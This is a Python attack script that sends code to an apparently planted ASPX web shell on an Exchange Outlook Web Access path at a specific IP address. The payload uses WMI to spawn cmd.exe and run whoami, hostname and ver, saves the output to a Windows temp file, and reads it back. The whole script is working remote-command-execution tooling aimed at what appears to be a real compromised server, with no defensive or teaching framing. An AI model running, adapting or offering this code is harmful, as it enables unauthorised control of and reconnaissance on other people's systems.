#!/usr/bin/env python3
import requests, time
requests.packages.urllib3.disable_warnings()
EVAL = "https://103.167.140.144/owa/auth/mdcajy.aspx"

def ev(code):
    try:
        r = requests.post(EVAL, data={"exec_code": code}, verify=False, timeout=60)
        return r.text.split('!BD')[0][:400]
    except Exception as e:
        return f"EXC:{type(e).__name__}:{str(e)[:120]}"

c = ("try{var loc=new ActiveXObject('WbemScripting.SWbemLocator');var svc=loc.ConnectServer('.','root\\\\cimv2');"
     "var cls=svc.Get('Win32_Process');var m=cls.Methods_.Item('Create');var inP=m.InParameters.SpawnInstance_();"
     "inP.CommandLine='cmd.exe /c whoami & hostname & ver > C:\\\\Windows\\\\Temp\\\\oa.txt 2>&1';"
     "var out=svc.ExecMethod('Win32_Process','Create',inP);Response.Write('RC='+out.ReturnValue+'|PID='+out.ProcessId);"
     "}catch(e){Response.Write('ERR:'+e.message);}")
print("[canonical ExecMethod]", repr(ev(c)), flush=True)
time.sleep(12)
rd = 'Response.Write("OA:"+(System.IO.File.Exists("C:\\\\Windows\\\\Temp\\\\oa.txt")?System.IO.File.ReadAllText("C:\\\\Windows\\\\Temp\\\\oa.txt"):"none"));'
print("[read]", repr(ev(rd)), flush=True)